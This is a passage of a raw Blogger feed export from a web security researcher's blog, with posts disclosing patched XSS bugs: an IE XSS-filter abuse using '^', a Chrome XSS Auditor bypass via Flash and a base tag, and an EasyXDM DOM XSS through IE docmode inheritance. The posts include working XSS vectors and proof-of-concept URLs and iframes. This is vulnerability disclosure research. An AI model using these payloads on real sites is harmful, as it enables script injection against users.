the\u0026nbsp;\u003Ccode\u003E^\u003C\/code\u003E?\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nLet's actually try it. If you put the following strings in the target URL, the page content is forcibly matched to XSS filter rules, and we can replace the aimed \u003Ccode\u003E.\u003C\/code\u003E with the \u003Ccode\u003E^\u003C\/code\u003E:\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Cdiv class=\"separator\" style=\"clear: both; text-align: center;\"\u003E\n\u003Ca href=\"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEgrHp0ta0tV4wwmkKrdpMWz9beo5U9qDHAKCT6MSutvGynrEs9VZ9K98AGRqPQlr3vjlGh2gz7ve-zDjCwneKsm86U-WNz2fXKIG3b0fj7BX_AzOSI37wKeLvjqP-rxAwLF_UdHErFUG2c\/s1600\/xxn_javadoc.png\" imageanchor=\"1\" style=\"margin-left: 1em; margin-right: 1em;\"\u003E\u003Cimg border=\"0\" height=\"300\" src=\"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEgrHp0ta0tV4wwmkKrdpMWz9beo5U9qDHAKCT6MSutvGynrEs9VZ9K98AGRqPQlr3vjlGh2gz7ve-zDjCwneKsm86U-WNz2fXKIG3b0fj7BX_AzOSI37wKeLvjqP-rxAwLF_UdHErFUG2c\/s400\/xxn_javadoc.png\" width=\"400\" \/\u003E\u003C\/a\u003E\u003C\/div\u003E\n\u003Cbr \/\u003E\nYou can reproduce this bug from the following URL using IE\/Edge which does not have June 2016 patch:\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Ca href=\"http:\/\/vulnerabledoma.in\/xxn\/xss_javadoc.html?javascript:alert(1)\/\/%22++++++++++++.i+++=\"\u003Ehttp:\/\/vulnerabledoma.in\/xxn\/xss_javadoc.html?javascript:alert(1)\/\/\u003Cb\u003E\"++++++++++++.i+++=\u003C\/b\u003E\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nAlso I put the replaced page for you who already applied the patch. You can confirm same behavior:\u003Cbr \/\u003E\n\u003Cdiv\u003E\n\u003Cbr \/\u003E\n\u003Ca href=\"http:\/\/vulnerabledoma.in\/xxn\/xss_javadoc2.html?javascript:alert(document.domain)\"\u003Ehttp:\/\/vulnerabledoma.in\/xxn\/xss_javadoc2.html?javascript:alert(document.domain)\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Cdiv\u003E\n\u003Cbr \/\u003E\nA crucial difference from \u003Ccode\u003E#\u003C\/code\u003E and \u003Ccode\u003E^\u003C\/code\u003E, the \u003Ccode\u003E#\u003C\/code\u003E is not the operator in JavaScript, but the \u003Ccode\u003E^\u003C\/code\u003E is the operator. For example, if the \u003Ccode\u003Ea.b;\u003C\/code\u003E is in the page and it is replaced with \u003Ccode\u003E#\u003C\/code\u003E and \u003Ccode\u003E^\u003C\/code\u003E, \u003Ccode\u003Ea#b;\u003C\/code\u003E is the syntax error but \u003Ccode\u003Ea^b;\u003C\/code\u003E is valid syntax. It brings an XSS bug.\u003C\/div\u003E\n\u003C\/div\u003E\n\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Cdiv class=\"separator\" style=\"clear: both; text-align: center;\"\u003E\n\u003Ca href=\"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEiO2AsnMDKxp3Qb2fiv2VhBmkR1dGYaMWrMKmq5j94V6C3etO1GVwZAhiLMLC15Hr9SVbyDzNh4UofKXH0f9QHj_CZGGz3uhjv4PV5EJxchih_Q6urJJyK_DusZ-G1GmCs2-e7__Ns3SxE\/s1600\/xxn_cloud.google.com.png\" imageanchor=\"1\" style=\"margin-left: 1em; margin-right: 1em;\"\u003E\u003Cimg border=\"0\" height=\"358\" src=\"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEiO2AsnMDKxp3Qb2fiv2VhBmkR1dGYaMWrMKmq5j94V6C3etO1GVwZAhiLMLC15Hr9SVbyDzNh4UofKXH0f9QHj_CZGGz3uhjv4PV5EJxchih_Q6urJJyK_DusZ-G1GmCs2-e7__Ns3SxE\/s640\/xxn_cloud.google.com.png\" width=\"640\" \/\u003E\u003C\/a\u003E\u003C\/div\u003E\n\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nAfter June 2016 patch, when the XSS filter replaces the \u003Ccode\u003E.\u003C\/code\u003E, the \u003Ccode\u003Emode=block\u003C\/code\u003E behavior is enforced even if the page does not have \u003Ccode\u003EX-XSS-Protection\u003C\/code\u003E header.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nI was surprised and disgusted when the \u003Ccode\u003E^\u003C\/code\u003E is displayed but anyway it has finally calmed down!\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nAlso, in the recent patch(July 2016), it seems that Microsoft killed almost possibilities of XSS attacks exploiting XSS filter. I will write this details in next post :)\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nThanks!"},"link":[{"rel":"replies","type":"application/atom+xml","href":"https:\/\/mksben.l0.cm\/feeds\/4594890473099332892\/comments\/default","title":"Post Comments"},{"rel":"replies","type":"text/html","href":"https:\/\/mksben.l0.cm\/2016\/07\/xxn-caret.html#comment-form","title":"34 Comments"},{"rel":"edit","type":"application/atom+xml","href":"https:\/\/www.blogger.com\/feeds\/3090823890722032925\/posts\/default\/4594890473099332892"},{"rel":"self","type":"application/atom+xml","href":"https:\/\/www.blogger.com\/feeds\/3090823890722032925\/posts\/default\/4594890473099332892"},{"rel":"alternate","type":"text/html","href":"https:\/\/mksben.l0.cm\/2016\/07\/xxn-caret.html","title":"Abusing XSS Filter: One ^ leads to XSS(CVE-2016-3212)"}],"author":[{"name":{"$t":"Unknown"},"email":{"$t":"noreply@blogger.com"},"gd$image":{"rel":"http://schemas.google.com/g/2005#thumbnail","width":"16","height":"16","src":"https:\/\/img1.blogblog.com\/img\/b16-rounded.gif"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEhPJNNZStdaR8tGeR-RwdIa2GWTb_N1MeSKANUKoPPtpOXMj7QuNNheq5BdvOAbg5MJd1_Tb7O2k-XNFz2BmOjRrH-3LWtF7qcduQi_g66DREfYcMNK3nw_Yo4D6fDxDfcTgM45wcDzOKs\/s72-c\/ex4.png","height":"72","width":"72"},"thr$total":{"$t":"34"}},{"id":{"$t":"tag:blogger.com,1999:blog-3090823890722032925.post-3160388304125417167"},"published":{"$t":"2016-05-18T03:14:00.000-07:00"},"updated":{"$t":"2016-05-18T04:11:21.866-07:00"},"category":[{"scheme":"http://www.blogger.com/atom/ns#","term":"Chrome"},{"scheme":"http://www.blogger.com/atom/ns#","term":"Flash"},{"scheme":"http://www.blogger.com/atom/ns#","term":"Security"},{"scheme":"http://www.blogger.com/atom/ns#","term":"XSS"},{"scheme":"http://www.blogger.com/atom/ns#","term":"XSSAuditor"}],"title":{"type":"text","$t":"XSS Auditor bypass using Flash and base tag"},"content":{"type":"html","$t":"A few days ago, I was playing Chrome XSS Auditor bypass with Mario.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nMario discovered this bypass:\u003Cbr \/\u003E\n\u003Cblockquote class=\"twitter-tweet\" data-lang=\"ja\"\u003E\n\u003Cdiv dir=\"ltr\" lang=\"en\"\u003E\nXSS Auditor Bypasses 05.2016\u003Ca href=\"https:\/\/t.co\/c9UcjpDZZM\"\u003Ehttps:\/\/t.co\/c9UcjpDZZM\u003C\/a\u003E \u003Cbr \/\u003E\n\u003Cbr \/\u003E\n(someone asked for PoC and test-case, here you are)\u003C\/div\u003E\n— .mario (@0x6D6172696F) \u003Ca href=\"https:\/\/twitter.com\/0x6D6172696F\/status\/732485238329237505\"\u003E2016年5月17日\u003C\/a\u003E\u003C\/blockquote\u003E\n\u003Cscript async=\"\" charset=\"utf-8\" src=\"\/\/platform.twitter.com\/widgets.js\"\u003E\u003C\/script\u003E\n\nAlso I found an another bypass. In this post, I would like to share my vector.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nI have filed this bug on:\u0026nbsp;\u003Ca href=\"https:\/\/bugs.chromium.org\/p\/chromium\/issues\/detail?id=612672\"\u003Ehttps:\/\/bugs.chromium.org\/p\/chromium\/issues\/detail?id=612672\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Cdiv\u003E\n\u003Cbr \/\u003E\nThe vector is this:\u003C\/div\u003E\n\u003Ca href=\"https:\/\/vulnerabledoma.in\/xss_auditortest?test=1\u0026amp;q=%3Cembed+allowscriptaccess=always+src=\/xss.swf%3E%3Cbase+href=\/\/l0.cm\/\"\u003Ehttps:\/\/vulnerabledoma.in\/xss_auditortest?test=1\u0026amp;q=\u0026lt;embed+allowscriptaccess=always+src=\/xss.swf\u0026gt;\u0026lt;base+href=\/\/l0.cm\/\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Cblockquote class=\"tr_bq\"\u003E\n\u0026lt;div\u0026gt;\u003Cspan style=\"background-color: #ffd966;\"\u003E\u0026lt;embed allowscriptaccess=always src=\/xss.swf\u0026gt;\u0026lt;base href=\/\/l0.cm\/\u003C\/span\u003E\u0026lt;\/div\u0026gt;\u003C\/blockquote\u003E\nLet's take a look at the process until reaching this bypass.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nIt is blocked to fetch the external resources using the \u003Ccode\u003E\u0026lt;embed\u0026gt;\u003C\/code\u003E:\u003Cbr \/\u003E\n\u003Ca href=\"https:\/\/vulnerabledoma.in\/xss_auditortest?test=1\u0026amp;q=%3Cembed+src=https:\/\/evil\/%3E\"\u003Ehttps:\/\/vulnerabledoma.in\/xss_auditortest?test=1\u0026amp;q=\u0026lt;embed+src=https:\/\/evil\/\u0026gt;\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Cblockquote class=\"tr_bq\"\u003E\n\u0026lt;embed src=https:\/\/evil\/\u0026gt;\u003C\/blockquote\u003E\nBut it is not blocked to fetch any same-origin resources having no query string:\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Ca href=\"https:\/\/vulnerabledoma.in\/xss_auditortest?test=1\u0026amp;q=%3Cembed+src=\/aaa%3E\"\u003Ehttps:\/\/vulnerabledoma.in\/xss_auditortest?test=1\u0026amp;q=\u0026lt;embed+src=\/aaa\u0026gt;\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Cblockquote class=\"tr_bq\"\u003E\n\u0026lt;embed src=\/aaa\u0026gt;\u003C\/blockquote\u003E\nSo, if we can change the base URL, it is possible to do XSS attacks.\u003Cbr \/\u003E\nThe \u003Ccode\u003Ebase\u003C\/code\u003E tag is also blocked but if it is not closed with \u003Ccode\u003E\u0026gt;\u003C\/code\u003E, Auditor does not block in some cases.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nThe following case is blocked:\u003Cbr \/\u003E\n\u003Ca href=\"https:\/\/vulnerabledoma.in\/xss_auditortest?test=3\u0026amp;q=%3Cbase+href=\/\/evil\/\"\u003Ehttps:\/\/vulnerabledoma.in\/xss_auditortest?test=3\u0026amp;q=\u0026lt;base+href=\/\/evil\/\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Cblockquote class=\"tr_bq\"\u003E\n\u0026lt;div\u0026gt;\u0026lt;base href=\/\/evil\/ \u0026lt;\/div\u0026gt;\u003C\/blockquote\u003E\nBut the following case is not blocked:\u003Cbr \/\u003E\n\u003Ca href=\"https:\/\/vulnerabledoma.in\/xss_auditortest?test=1\u0026amp;q=%3Cbase+href=\/\/evil\/\"\u003Ehttps:\/\/vulnerabledoma.in\/xss_auditortest?test=1\u0026amp;q=\u0026lt;base+href=\/\/evil\/\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Cblockquote class=\"tr_bq\"\u003E\n\u0026lt;div\u0026gt;\u0026lt;base href=\/\/evil\/\u0026lt;\/div\u0026gt;\u003C\/blockquote\u003E\nCan you see the difference? The former page exists a white space behind the injection point. It seems it is blocked by Auditor if the page has a white space directly behind the injection point. In other words, we can inject a base tag without being blocked if the page does not have a white space directly behind the injection point.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nThus, my vector works!\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Ca href=\"https:\/\/vulnerabledoma.in\/xss_auditortest?test=1\u0026amp;q=%3Cembed+allowscriptaccess=always+src=\/xss.swf%3E%3Cbase+href=\/\/l0.cm\/\"\u003Ehttps:\/\/vulnerabledoma.in\/xss_auditortest?test=1\u0026amp;q=\u0026lt;embed+allowscriptaccess=always+src=\/xss.swf\u0026gt;\u0026lt;base+href=\/\/l0.cm\/\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Cblockquote class=\"tr_bq\"\u003E\n\u0026lt;div\u0026gt;\u003Cspan style=\"background-color: #ffd966;\"\u003E\u0026lt;embed allowscriptaccess=always src=\/xss.swf\u0026gt;\u0026lt;base href=\/\/l0.cm\/\u003C\/span\u003E\u0026lt;\/div\u0026gt;\u003C\/blockquote\u003E\nSo, can't we always bypass if the page has a white space directly behind? No! We still have a chance to bypass.\u003Cbr \/\u003E\nIf the \u003Ccode\u003E\"'\u003C\/code\u003E characters exists under the injection point, we can bypass Auditor using the unclosed attribute quotes, like \u003Ccode\u003E\u0026lt;base href=\"\/\/evil\/\u003C\/code\u003E.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nIt is not blocked in the following condition:\u003Cbr \/\u003E\n\u003Ca href=\"https:\/\/vulnerabledoma.in\/xss_auditortest?test=4\u0026amp;q=%3Cembed+allowscriptaccess=always+src=\/xss.swf%3E%3Cbase+href=%22\/\/l0.cm\/\"\u003Ehttps:\/\/vulnerabledoma.in\/xss_auditortest?test=4\u0026amp;q=\u0026lt;embed+allowscriptaccess=always+src=\/xss.swf\u0026gt;\u0026lt;base+href=\"\/\/l0.cm\/\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Cblockquote class=\"tr_bq\"\u003E\n\u0026lt;div\u0026gt;\u003Cbr \/\u003E\n\u003Cspan style=\"background-color: #ffd966;\"\u003E\u0026lt;embed allowscriptaccess=always src=\/xss.swf\u0026gt;\u0026lt;base href=\"\/\/l0.cm\/\u003C\/span\u003E\u003Cbr \/\u003E\n\u0026lt;\/div\u0026gt;\u0026lt;div id=\"x\"\u0026gt;AAA\u0026lt;\/div\u0026gt;\u003C\/blockquote\u003E\n\u003Cdiv\u003E\nI think this bypass is useful because most pages have the \u003Ccode\u003E\"'\u003C\/code\u003E characters under the injection point.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nFYI, also\u0026nbsp;\u003Ccode\u003E\u0026lt;script src=\/xss.js\u0026gt;\u0026lt;\/script\u0026gt;\u0026lt;base href=\/\/evil\/\u003C\/code\u003E is not blocked. But we can't load the external resource because the loading is started before the base URL is set:\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Ca href=\"https:\/\/vulnerabledoma.in\/xss_auditortest?test=1\u0026amp;q=%3Cscript%20src=\/xss.js%3E%3C\/script%3E%3Cbase%20href=\/\/evil\/\"\u003Ehttps:\/\/vulnerabledoma.in\/xss_auditortest?test=1\u0026amp;q=%3Cscript%20src=\/xss.js%3E%3C\/script%3E%3Cbase%20href=\/\/evil\/\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nThus, I used Flash.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nThat's all. Thanks for reading my post :)\u003C\/div\u003E\n"},"link":[{"rel":"replies","type":"application/atom+xml","href":"https:\/\/mksben.l0.cm\/feeds\/3160388304125417167\/comments\/default","title":"Post Comments"},{"rel":"replies","type":"text/html","href":"https:\/\/mksben.l0.cm\/2016\/05\/xssauditor-bypass-flash-basetag.html#comment-form","title":"27 Comments"},{"rel":"edit","type":"application/atom+xml","href":"https:\/\/www.blogger.com\/feeds\/3090823890722032925\/posts\/default\/3160388304125417167"},{"rel":"self","type":"application/atom+xml","href":"https:\/\/www.blogger.com\/feeds\/3090823890722032925\/posts\/default\/3160388304125417167"},{"rel":"alternate","type":"text/html","href":"https:\/\/mksben.l0.cm\/2016\/05\/xssauditor-bypass-flash-basetag.html","title":"XSS Auditor bypass using Flash and base tag"}],"author":[{"name":{"$t":"Unknown"},"email":{"$t":"noreply@blogger.com"},"gd$image":{"rel":"http://schemas.google.com/g/2005#thumbnail","width":"16","height":"16","src":"https:\/\/img1.blogblog.com\/img\/b16-rounded.gif"}}],"thr$total":{"$t":"27"}},{"id":{"$t":"tag:blogger.com,1999:blog-3090823890722032925.post-506607900225162163"},"published":{"$t":"2016-04-10T06:30:00.001-07:00"},"updated":{"$t":"2016-04-10T07:44:23.810-07:00"},"category":[{"scheme":"http://www.blogger.com/atom/ns#","term":"IE"},{"scheme":"http://www.blogger.com/atom/ns#","term":"OSS"},{"scheme":"http://www.blogger.com/atom/ns#","term":"Security"},{"scheme":"http://www.blogger.com/atom/ns#","term":"XSS"}],"title":{"type":"text","$t":"Abusing docmode inheritance: EasyXDM 2.4.19 DOMXSS"},"content":{"type":"html","$t":"In this post, I would like to explain an XSS issue of EasyXDM 2.4.19.\u003Cbr \/\u003E\nI reported it and it was fixed by the developer.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nIf you are users, you should update it to EasyXDM 2.4.20.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nRelease Security update - 2.4.20 · oyvindkinsey\/easyXDM · GitHub\u003Cbr \/\u003E\n\u003Ca href=\"https:\/\/github.com\/oyvindkinsey\/easyXDM\/releases\/tag\/2.4.20\"\u003Ehttps:\/\/github.com\/oyvindkinsey\/easyXDM\/releases\/tag\/2.4.20\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nThis bug is different from the following \u003Ca href=\"https:\/\/twitter.com\/kkotowicz\"\u003E@kkotowicz\u003C\/a\u003E's bugs.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Ca href=\"http:\/\/blog.kotowicz.net\/2013\/09\/exploiting-easyxdm-part-1-not-usual.html\"\u003Ehttp:\/\/blog.kotowicz.net\/2013\/09\/exploiting-easyxdm-part-1-not-usual.html\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Ca href=\"http:\/\/blog.kotowicz.net\/2013\/10\/exploiting-easyxdm-part-2-considered.html\"\u003Ehttp:\/\/blog.kotowicz.net\/2013\/10\/exploiting-easyxdm-part-2-considered.html\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Ca href=\"http:\/\/blog.kotowicz.net\/2014\/01\/xssing-with-shakespeare-name-calling.html\"\u003Ehttp:\/\/blog.kotowicz.net\/2014\/01\/xssing-with-shakespeare-name-calling.html\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Ch2\u003E\nTechnical Details\u003C\/h2\u003E\nTo reproduce this bug, we need a little unusual trick. This bug works on only MSIE. Also, the document mode should be old (IE7 or 5). This is because XSS exists in the part where only buggy browser can pass through. And only old document mode can meet this condition.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nLet's look at the code. XSS occurs in the following \u003Ccode\u003EcreateElement()\u003C\/code\u003E part:\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Ca href=\"https:\/\/github.com\/oyvindkinsey\/easyXDM\/blob\/2.4.19\/src\/Core.js#L507-509\"\u003Ehttps:\/\/github.com\/oyvindkinsey\/easyXDM\/blob\/2.4.19\/src\/Core.js#L507-509\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Cblockquote class=\"tr_bq\"\u003E\n\u0026nbsp; \u0026nbsp; if (HAS_NAME_PROPERTY_BUG) {\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; frame = document.createElement(\"\u0026lt;iframe name=\\\"\" + config.props.name + \"\\\"\/\u0026gt;\");\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; }\u003C\/blockquote\u003E\n\u003Cbr \/\u003E\nThe \u003Ccode\u003EHAS_NAME_PROPERTY_BUG\u003C\/code\u003E variable of the \u003Ccode\u003Eif\u003C\/code\u003E statement condition becomes \u003Ccode\u003Etrue\u003C\/code\u003E on an only buggy browser. It is assigned in the following function:\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Ca href=\"https:\/\/github.com\/oyvindkinsey\/easyXDM\/blob\/2.4.19\/src\/Core.js#L474-482\"\u003Ehttps:\/\/github.com\/oyvindkinsey\/easyXDM\/blob\/2.4.19\/src\/Core.js#L474-482\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Cblockquote class=\"tr_bq\"\u003E\nfunction testForNamePropertyBug(){\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; var form = document.body.appendChild(document.createElement(\"form\")), input = form.appendChild(document.createElement(\"input\"));\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; input.name = IFRAME_PREFIX + \"TEST\" + channelId; \/\/ append channelId in order to avoid caching issues\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; HAS_NAME_PROPERTY_BUG = input !== form.elements[input.name];\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; document.body.removeChild(form);\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; \/\/ #ifdef debug\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; _trace(\"HAS_NAME_PROPERTY_BUG: \" + HAS_NAME_PROPERTY_BUG);\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; \/\/ #endif\u003Cbr \/\u003E\n}\u003C\/blockquote\u003E\nThis code creates a form element and a input element with a name attribute and tries to access to a input element via the name. It seems that IE7 mode cannot access to a element created dynamically with JavaScript via the name. And this code is for testing it.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nI created a page for testing this part. You can confirm that the \u003Ccode\u003EHAS_NAME_PROPERTY_BUG\u003C\/code\u003E variable becomes \u003Ccode\u003Etrue\u003C\/code\u003E from MSIE.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Ca href=\"http:\/\/vulnerabledoma.in\/easyxdm\/name_property_test.html\"\u003Ehttp:\/\/vulnerabledoma.in\/easyxdm\/name_property_test.html\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nSo, let's confirm this XSS using the vulnerable EasyXDM.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nGo to the following URL and change IE7 mode via F12 Developer Tools( F12 -\u0026gt; Emulation tab ). You should see an alert dialog.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Ca href=\"http:\/\/vulnerabledoma.in\/easyxdm\/2.4.19_index.html?xdm_e=http%3A%2F%2Fvulnerabledoma.in\u0026amp;xdm_c=%22onload%3dalert(document.domain)\/\/\u0026amp;xdm_p=0\"\u003Ehttp:\/\/vulnerabledoma.in\/easyxdm\/2.4.19_index.html?xdm_e=http%3A%2F%2Fvulnerabledoma.in\u0026amp;xdm_c=%22onload%3dalert(document.domain)\/\/\u0026amp;xdm_p=0\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nOK, we knew that it actually works. But it works on only IE7 mode so far. This means that an opportunity of attack is very limited.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nSo, we use the trick called \"document mode inheritance\" which I took up in my slides recently.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Cscript async=\"\" class=\"speakerdeck-embed\" data-id=\"d0225b4050874512ad25e17fff4548ee\" data-ratio=\"1.33333333333333\" data-slide=\"37\" src=\"\/\/speakerdeck.com\/assets\/embed.js\"\u003E\u003C\/script\u003E\n\n\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nLet's use this!\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Ca href=\"http:\/\/l0.cm\/easyxdm\/poc.html\"\u003Ehttp:\/\/l0.cm\/easyxdm\/poc.html\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Cblockquote class=\"tr_bq\"\u003E\n\u0026lt;meta http-equiv=\"x-ua-compatible\" content=\"IE=5\"\u0026gt;\u003Cbr \/\u003E\n\u0026lt;iframe src=\"\/\/vulnerabledoma.in\/easyxdm\/2.4.19_index.html?xdm_e=http%3A%2F%2Fvulnerabledoma.in\u0026amp;xdm_c=%22onload%3dalert(document.domain)\/\/\u0026amp;xdm_p=0\"\u0026gt;\u0026lt;\/iframe\u0026gt;\u003Cbr \/\u003E\n\u0026lt;script\u0026gt;document.write(\"document.documentMode: \"+document.documentMode)\u0026lt;\/script\u0026gt;\u003C\/blockquote\u003E\nYou still cannot see an alert dialog. The parent window is running in IE5 mode by the \u003Ccode\u003Emeta\u003C\/code\u003E tag. But the \u003Ccode\u003Eiframe\u003C\/code\u003E is running in IE8 mode. This is because the \u003Ccode\u003Eiframe\u003C\/code\u003E page has \u003Ccode\u003E\u0026lt;!DOCTYPE html\u0026gt;\u003C\/code\u003E. If it exists, IE11 can bring down the document mode until IE8 mode. To XSS, we somehow have to bring down to IE7 mode.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nNo worries! Recently I found that IE has the strong inheritance ability at the specific place. You can test this from:\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Ca href=\"http:\/\/l0.cm\/easyxdm\/poc.eml\"\u003Ehttp:\/\/l0.cm\/easyxdm\/poc.eml\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nFinally, you can see an alert dialog. A difference between the former and this page is that the page is a \u003Ccode\u003EContent-Type: message\/rfc822\u003C\/code\u003E format, not \u003Ccode\u003Etext\/html\u003C\/code\u003E. As I have shown in the following my slides, IE\/Edge still can open a \u003Ccode\u003Emessage\/rfc822\u003C\/code\u003E document into the browser.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Cscript async class=\"speakerdeck-embed\" data-slide=\"44\" data-id=\"d0225b4050874512ad25e17fff4548ee\" data-ratio=\"1.33333333333333\" src=\"\/\/speakerdeck.com\/assets\/embed.js\"\u003E\u003C\/script\u003E\n\n\u003Cbr \/\u003E\nIt seems that a \u003Ccode\u003Emessage\/rfc822\u003C\/code\u003E document is rendered in IE5 mode by default. And it seems its docmode inheritance ability is stronger more than a \u003Ccode\u003Etext\/html\u003C\/code\u003E page. Even if the page has \u003Ccode\u003E\u0026lt;!DCOTYPE html\u0026gt;\u003C\/code\u003E, we can bring down the document mode until IE7 mode. Due to this, we can reach the vulnerable code. w00t! :)\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nUsing this technique, it can extend the impact. The problem affecting only IE7 mode becomes the problem affecting all IE11 users without being changed to an old document mode by users. It's very useful technique, isn't it? :)\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nI wrote about XSS in EasyXDM 2.4.19.\u003Cbr \/\u003E\nThat's all. Thank you for reading my post!"},"link":[{"rel":"replies","type":"application/atom+xml","href":"https:\/\/mksben.l0.cm\/feeds\/506607900225162163\/comments\/default","title":"Post Comments"},{"rel":"replies","type":"text/html","href":"https:\/\/mksben.l0.cm\/2016\/04\/easyxdm-xss-docmode-inheritance.html#comment-form","title":"40 Comments"},{"rel":"edit","type":"application/atom+xml","href":"https:\/\/www.blogger.com\/feeds\/3090823890722032925\/posts\/default\/506607900225162163"},{"rel":"self","type":"application/atom+xml","href":"https:\/\/www.blogger.com\/feeds\/3090823890722032925\/posts\/default\/506607900225162163"},{"rel":"alternate","type":"text/html","href":"https:\/\/mksben.l0.cm\/2016\/04\/easyxdm-xss-docmode-inheritance.html","title":"Abusing docmode inheritance: EasyXDM 2.4.19 DOMXSS"}],"author":[{"name":{"$t":"Unknown"},"email":{"$t":"noreply@blogger.com"},"gd$image":{"rel":"http://schemas.google.com/g/2005#thumbnail","width":"16","height":"16","src":"https:\/\/img1.blogblog.com\/img\/b16-rounded.gif"}}],"thr$total":{"$t":"40"}},{"id":{"$t":"tag:blogger.com,1999:blog-3090823890722032925.post-2072858093260853536"},"published":{"$t":"2016-01-29T01:49:00.000-08:00"},"updated":{"$t":"2016-04-10T06:43:54.875-07:00"},"category":[{"scheme":"http://www.blogger.com/atom/ns#","term":"IE"},{"scheme":"http://www.blogger.com/atom/ns#","term":"Security"},{"scheme":"http://www.blogger.com/atom/ns#","term":"VRP"},{"scheme":"http://www.blogger.com/atom/ns#","term":"XSS"}],"title":{"type":"text","$t":"XSS using Google Toolbar's command"},"content":{"type":"html","$t":"In this post, I would like to share two XSSes in toolbar.google.com. I discovered in June 2015 and it has already been fixed.\u003Cbr \/\u003E\nThose bugs are a little unusual. It works only IE which Google Toolbar is installed.\u003Cbr \/\u003E\nIE's Google Toolbar has some special commands. We can execute from web UI of toolbar.google.com.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nFor example, you can find the command from:\u0026nbsp;\u003Ca href=\"http:\/\/toolbar.google.com\/fixmenu\"\u003Ehttp:\/\/toolbar.google.com\/fixmenu\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Cblockquote class=\"tr_bq\"\u003E\n\u0026lt;script language=\"JavaScript\"\u0026gt; \u0026lt;!--\u003Cbr \/\u003E\nfunction command(s) {\u003Cbr \/\u003E\nwindow.location = 'http:\/\/toolbar.google.com\/command?key=' + document.googleToken + s;\u003Cbr \/\u003E\n}\u003Cbr \/\u003E\nfunction fixMenu() {\u003Cbr \/\u003E\ncommand('\u0026amp;fixmenu=1');\u003Cbr \/\u003E\nalert(document.all['restartmessage'].innerText)\u003Cbr \/\u003E\n}\u003Cbr \/\u003E\n\/\/ --\u0026gt;\u003Cbr \/\u003E\n\u0026lt;\/script\u0026gt;\u003Cbr \/\u003E\n....\u003Cbr \/\u003E\n\u0026lt;input type=button onclick='javascript:fixMenu()' value=\"Reset IE's Toolbar 